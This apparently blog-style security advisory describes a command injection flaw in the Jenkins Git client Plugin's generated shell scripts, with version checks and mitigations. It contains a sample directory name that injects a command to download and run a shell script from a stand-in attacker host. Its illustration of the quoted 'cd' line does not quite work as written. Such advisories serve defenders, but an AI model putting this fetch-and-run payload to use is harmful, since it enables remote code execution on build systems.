Listen to this Post
This vulnerability exists within the Git client Plugin’s process of generating temporary shell scripts on Jenkins agents. When the plugin prepares to execute Git operations, it creates a shell script file within the agent’s workspace. The absolute path to the workspace directory is incorporated into this script’s commands as an argument. The plugin fails to properly escape or sanitize this path string before insertion. An attacker with the ability to control or influence the name of the workspace directory can use shell metacharacters (such as semicolons, backticks, or parentheses) within the directory name. When the plugin constructs the shell script, these metacharacters become part of the executed command line. The agent’s shell interpreter, when processing the temporary script, will parse these metacharacters as command terminators or substitution operators, allowing the attacker to break out of the intended Git command context and execute arbitrary operating system commands with the privileges of the Jenkins agent process.
Platform: Jenkins Git client Plugin
Version: 6.4.0 and earlier
Vulnerability: OS Command Injection
Severity: Moderate
Date: Dec 10, 2025
Prediction: Patch expected Dec 17, 2025
What Undercode Say:
mkdir 'workspace;curl${IFS}attacker.com/shell.sh|bash;'
The plugin generates a script containing:
cd '/absolute/path/to/workspace;curl${IFS}attacker.com/shell.sh|bash;'
Which, when executed, runs the malicious curl command.
Checking plugin version on a Jenkins instance java -jar jenkins-cli.jar -s http://jenkins.example.com/ list-plugins | grep git-client
// Potential Groovy script to check vulnerable configuration
println Jenkins.instance.pluginManager.getPlugin('git-client').version
Exploit:
Attacker controls workspace name.
Name includes shell metacharacters.
Plugin builds unsafe script.
Commands execute on agent.
Protection from this CVE
Update plugin immediately.
Restrict workspace naming.
Use principle of least privileges.
Impact:
Remote Code Execution.
Agent system compromise.
Potential lateral movement.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
